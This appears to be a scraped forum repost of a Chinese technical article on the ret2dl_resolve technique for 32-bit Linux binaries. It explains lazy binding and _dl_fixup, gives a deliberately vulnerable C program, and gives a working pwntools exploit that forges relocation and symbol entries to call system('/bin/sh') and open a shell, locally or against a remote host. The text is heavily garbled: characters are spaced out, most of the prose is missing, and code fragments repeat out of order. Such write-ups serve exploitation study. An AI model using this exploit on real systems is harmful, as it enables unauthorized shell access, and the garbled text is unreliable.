[15355] 2020-05-10_Ret2dl_resolve漏洞利用分析

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-18
2020-05-10_Ret2dl_resolve漏洞利用分析 R e t 2 d l _ r e s o l v e s o f r   F r e e B u f   2 0 2 0 - 0 5 - 1 0 r e t 2 d l r e s o l v e l i n u x l i n u x ( L a z y   B i n d i n g ) d l r u n t i m e r e s o l v e ( ) G O T G O T 使 使 g e t s h e l l 7 . 4 便 L i n u x   怀 ( . s o ) 使 L i n u x P L T P L T j m p G O T P L T 使 G O T j m p p u s h j m p l i n u x 3 2 m a i n w r i t e 便 P L T w r i t e 便 G O T w r i t e G O T P L T w r i t e p u s h   0 x 2 0 w r i t e l i b c w r i t e P L T 0 x 2 0 0 x 8 0 4 8 3 8 0 0 x 8 0 4 a 0 0 8 便 d l r u n t i m e _ r e s o l v e ( )
便 d l r u n t i m e r e s o l v e ( ) d l r u n t i m e r e s o l v e ( l i n k m a p ,   r e l o c a r g ) 便 d l f i x u p 0 x 2 0 便 r e l o c _ a r g 0 x 2 0 0 x 2 0 . r e l . p l t r e a d e l f   - S   b i n a r y   E L F 0 x 2 0 便 r e l o c w r i t e G O T d l f i x u p _ d l _ f i x u p ( s t r u c t   l i n k _ m a p   * l ,   E l f W ( W o r d )   r e l o c _ a r g ) {         / /   r e l o c _ a r g J M P R E L . r e l . p l t r e l o c _ o f f s e t r e l o c _ a r g         c o n s t   P L T R E L   * c o n s t   r e l o c   =   ( c o n s t   v o i d   * )   ( D _ P T R   ( l ,   l _ i n f o [ D T _ J M P R E L ] )   +   r e l o c _ o f f s e t ) ;         / /   r e l o c - > r _ i n f o . d y n s y m         c o n s t   E l f W ( S y m )   * s y m   =   & s y m t a b [ E L F W ( R _ S Y M )   ( r e l o c - > r _ i n f o ) ] ;         / /   r e l o c - > r _ i n f o R _ 3 8 6 _ J U M P _ S L O T = 7         a s s e r t   ( E L F W ( R _ T Y P E ) ( r e l o c - > r _ i n f o )   = =   E L F _ M A C H I N E _ J M P _ S L O T ) ;         / /   s t r t a b + s y m - > s t _ n a m e r e s u l t l i b c         r e s u l t   =   _ d l _ l o o k u p _ s y m b o l _ x   ( s t r t a b   +   s y m - > s t _ n a m e ,   l ,   & s y m ,   l - > l _ s c o p e ,   v e r s i o n ,   E L F _ R T Y P E _ C L A S S _ P L T ,   f l a g s ,   N U L L ) ;         / /   v a l u e l i b c         v a l u e   =   D L _ F I X U P _ M A K E _ V A L U E   ( r e s u l t ,   s y m   ?   ( L O O K U P _ V A L U E _ A D D R E S S   ( r e s u l t )   +   s y m - > s t _ v a l u e )   :   0 ) ;         / /   v a l u e G O T         r e t u r n   e l f _ m a c h i n e _ f i x u p _ p l t   ( l ,   r e s u l t ,   r e l o c ,   r e l _ a d d r ,   v a l u e ) ;
r e l o c r i n f o r e l o c 0 x 6 0 7 0 x 0 7 R T Y P E 7 便 0 x 6 R _ S Y M . d y n s y m 6 w r i t e N u m 6 . d y n s y m 0 x 1 0 * N u m 便 w r i t e 0 x 4 c 便 s t n a m e 0 x 1 2 便 s t i n f o s t _ n a m e 0 x 4 c . d y n s t r d l f i x u p     l i b c w r i t e         r e t u r n   e l f _ m a c h i n e _ f i x u p _ p l t   ( l ,   r e s u l t ,   r e l o c ,   r e l _ a d d r ,   v a l u e ) ; } t y p e d e f   s t r u c t {         E l f 3 2 _ W o r d   s t _ n a m e ;           / /   S y m b o l   n a m e ( s t r i n g   t b l   i n d e x )         E l f 3 2 _ A d d r   s t _ v a l u e ;         / /   S y m b o l   v a l u e         E l f 3 2 _ W o r d   s t _ s i z e ;           / /   S y m b o l   s i z e         u n s i g n e d   c h a r   s t _ i n f o ;     / /   S y m b o l   t y p e   a n d   b i n d i n g         u n s i g n e d   c h a r   s t _ o t h e r ;   / /   S y m b o l   v i s i b i l i t y   u n d e r   g l i b c > = 2 . 2         E l f 3 2 _ S e c t i o n   s t _ s h n d x ;   / /   S e c t i o n   i n d e x }   E l f 3 2 _ S y m ; r e s u l t   =   _ d l _ l o o k u p _ s y m b o l _ x   ( s t r t a b   +   s y m - > s t _ n a m e ,   l ,   & s y m ,   l - > l _ s c o p e ,   v e r s i o n ,   E L F _ R T Y P E _ C L A S S _ P L T ,   f l a g s ,   N U L L ) ;
r e t 2 d l r e s o l v e r e l o c f a k e r e l o c f a k e E l f 3 2 S y m , 使 d l r u n t i m e r e s o l v e ( ) l i b c w r i t e 0 x 2 0 0 x 2 0 d l r u n t i m e r e s o l v e ( ) r e l o c r e l o c 2 g o t r i n f o r i n f o . d y n s y m . d y n s y m 0 x 1 0 * N u m s t _ n a m e 1 " s y s t e m " 2 r e l o c r i n f o . d y n s y m + 0 x 1 0 * N U M   =   a d d r e s s   o f ( E l f 3 2 S y m   ) r _ i n f o 3 E l f 3 2 S y m   s t n a m e . d y n s t r + s t _ n a m e   =   a d d r e s s   o f ( " s y s t e m " ) 4 d l r u n t i m e r e s o l v e ( ) 使 r e l o c r e t 2 d l _ r e s o l v e N X l e a k G O T l i b c r e t 2 d l _ r e s o l v e " s y s t e m " b s s b s s r e a d / / g c c   - m 3 2   - f n o - s t a c k - p r o t e c t o r   - n o - p i e   b o f . c   - o   t e s t # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > v o i d   v u l n ( ) {                 c h a r   b u f [ 1 0 0 ] ;                 s e t b u f ( s t d i n ,   b u f ) ;                 r e a d ( 0 ,   b u f ,   2 5 6 ) ; } i n t   m a i n ( ) {                 c h a r   b u f [ 1 0 0 ]   =   " r e t 2 d l _ r e s o l v e n " ;                 s e t b u f ( s t d o u t ,   b u f ) ;                 v u l n ( ) ;                 r e t u r n   0 ; }
R O P b s s R O P R O P r e a d b s s s y s t e m p l t d l r u n t i m e r e s o l v e ( ) G O T d l r u n t i m e r e s o l v e ( ) r e l o c r e l o c r e a d G O T r _ i n f o r _ i n f o p o p _ e b p   =   0 x 0 8 0 4 8 5 b b   #   p o p   e b p   ;   r e t p p p   =   0 x 0 8 0 4 8 5 b 9   #   p o p   e s i   ;   p o p   e d i   ;   p o p   e b p   ;   r e t l e a v e   =   0 x 0 8 0 4 8 4 0 5   #   l e a v e   ;   r e t b s s   =   0 x 0 8 0 4 A 0 2 0 p a y l o a d   =   " A " * 0 x 7 0 p a y l o a d   + =   p 3 2 ( b i n . p l t [ ' r e a d ' ] )   +   p 3 2 ( p p p ) p a y l o a d   + =   p 3 2 ( 0 ) + p 3 2 ( b s s ) + p 3 2 ( 0 x 1 0 0 ) p a y l o a d   + =   p 3 2 ( p o p _ e b p ) + p 3 2 ( b s s ) + p 3 2 ( l e a v e ) s l ( p a y l o a d ) p a y l o a d 2   =   " A A A A " p a y l o a d 2   + =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   ( . . . . . . ) p a y l o a d 2   + =   ' s y s t e m ' r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o )
E l f 3 2 _ S y m . d y n s t r E l f 3 2 _ S y m d l r u n t i m e r e s o l v e ( ) s y s t e m E l f 3 2 _ S y m , / b i n / s h r _ i n f o   =   ( ( ( a d d r e s s   o f   ( E l f 3 2 _ S y m )   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r _ n a m e   =   a d d r e s s   o f   ( " s y s t e m " )   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ n a m e   =   a d d r e s s   o f   ( " s y s t e m " )   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ i n f o   =   ( ( ( a d d r e s s   o f   ( E l f 3 2 _ S y m )   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o ) p a y l o a d 2   =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   ( . . . . . . ) p a y l o a d 2   + =   ' s y s t e m ' r _ n a m e   =   a d d r e s s   o f   ( " s y s t e m " )   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ i n f o   =   ( ( ( a d d r e s s   o f   ( E l f 3 2 _ S y m )   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o ) p a y l o a d 2   =   " A A A A " p a y l o a d 2   + =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   " A A A A " p a y l o a d 2   + =   p 3 2 ( a d d r e s s   o f   " / b i n / s h " ) p a y l o a d 2   + =   r e l o c p a y l o a d 2   + =   E l f 3 2 _ S y m p a y l o a d 2   + =   ' s y s t e m x 0 0 ' p a y l o a d 2   + =   ' / b i n / s h x 0 0 ' b s s + 1 3 * 4 b s s + 8 * 4 b s s + 1 3 * 4 + 7 r _ n a m e   =   b s s + 1 3 * 4   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ i n f o   =   ( ( ( b s s + 8 * 4   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o )
. r e l . p l t r e l o c _ a r g = b s s + 5 * 4   -   0 x 8 0 4 8 2 f 4 e x p p a y l o a d 2   =   " A A A A " p a y l o a d 2   + =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   " A A A A " p a y l o a d 2   + =   p 3 2 ( b s s + 1 3 * 4 + 7 ) p a y l o a d 2   + =   r e l o c p a y l o a d 2   + =   E l f 3 2 _ S y m p a y l o a d 2   + =   ' s y s t e m x 0 0 ' p a y l o a d 2   + =   ' / b i n / s h x 0 0 ' # c o d i n g = u t f - 8 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #   F i l e   N a m e :   p w n _ e x p . p y #   A u t h o r :   s o f r #   m a i l :   s o f r @ f o x m a i l . c o m #   C r e a t e d   T i m e :   W e d   A p r     1   1 0 : 2 4 : 1 2   2 0 2 0 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # f r o m   p w n   i m p o r t   * i m p o r t   s y s c o n t e x t . l o g _ l e v e l   =   ' d e b u g ' r   =   l a m b d a   x : p . r e c v ( x ) r u   =   l a m b d a   x : p . r e c v u n t i l ( x ) s   =   l a m b d a   x : p . s e n d ( x ) s l   =   l a m b d a   x : p . s e n d l i n e ( x ) s f   =   l a m b d a   x , y : p . s e n d a f t e r ( x , y ) s l f   =   l a m b d a   x , y : p . s e n d l i n e a f t e r ( x , y ) l 3 2 _ a d d r   =   l a m b d a   x : u 3 2 ( x . l j u s t ( 0 x 4 , ' x 0 0 ' ) ) d r o p _ e n d   =   l a m b d a   x , y : x . s p l i t ( y ) [ 0 ] g e t s h e l l   =   l a m b d a   : p . i n t e r a c t i v e ( ) b i n a r y = ' . / b o o ' g l o b a l   p b i n   =   E L F ( b i n a r y ) i f   l e n ( s y s . a r g v )   >   1 :         p = r e m o t e ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) e l s e :         p = p r o c e s s ( b i n a r y ) p o p _ e b p   =   0 x 0 8 0 4 8 5 b b p p p   =   0 x 0 8 0 4 8 5 b 9 l e a v e   =   0 x 0 8 0 4 8 4 0 5 b s s   =   0 x 0 8 0 4 A 0 2 0 + 0 x 8 0 0
g e t s h e l l E l f 3 2 _ S y m 0 x 1 0 b s s 0 x 8 0 0 [ 1 ]     7 . 4 [ 2 ]   h t t p s : / / w i k i . x 1 0 s e c . o r g / p w n / s t a c k o v e r f l o w / a d v a n c e d _ r o p / * s o f r F r e e B u f . C O M p a y l o a d   =   " A " * 0 x 7 0 p a y l o a d   + =   p 3 2 ( b i n . p l t [ ' r e a d ' ] )   +   p 3 2 ( p p p ) p a y l o a d   + =   p 3 2 ( 0 ) + p 3 2 ( b s s ) + p 3 2 ( 0 x 1 0 0 ) p a y l o a d   + =   p 3 2 ( p o p _ e b p ) + p 3 2 ( b s s ) + p 3 2 ( l e a v e ) s l ( p a y l o a d ) r e l o c _ a r g = b s s + 5 * 4   -   0 x 8 0 4 8 2 f 4 r _ n a m e   =   b s s + 1 3 * 4   -   0 x 8 0 4 8 2 4 c E l f 3 2 _ S y m   =   p 3 2 ( r _ n a m e ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) + p 3 2 ( 0 x 1 2 ) + p 3 2 ( 0 ) + p 3 2 ( 0 ) r _ i n f o   =   ( ( ( b s s + 8 * 4   -   0 x 8 0 4 8 1 c c ) / 0 x 1 0 )   < <   8   ) + 0 x 7 r e l o c   =   p 3 2 ( b i n . g o t [ ' r e a d ' ] ) + p 3 2 ( r _ i n f o ) p a y l o a d 2   =   ' A A A A ' p a y l o a d 2   + =   p 3 2 ( 0 x 8 0 4 8 3 5 B )   +   p 3 2 ( r e l o c _ a r g ) p a y l o a d 2   + =   ' A A A A ' p a y l o a d 2   + =   p 3 2 ( b s s + 1 3 * 4 + 7 ) p a y l o a d 2   + =   r e l o c p a y l o a d 2   + =   E l f 3 2 _ S y m p a y l o a d 2   + =   ' s y s t e m x 0 0 ' p a y l o a d 2   + =   ' / b i n / s h x 0 0 ' s l ( p a y l o a d 2 ) g e t s h e l l ( )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则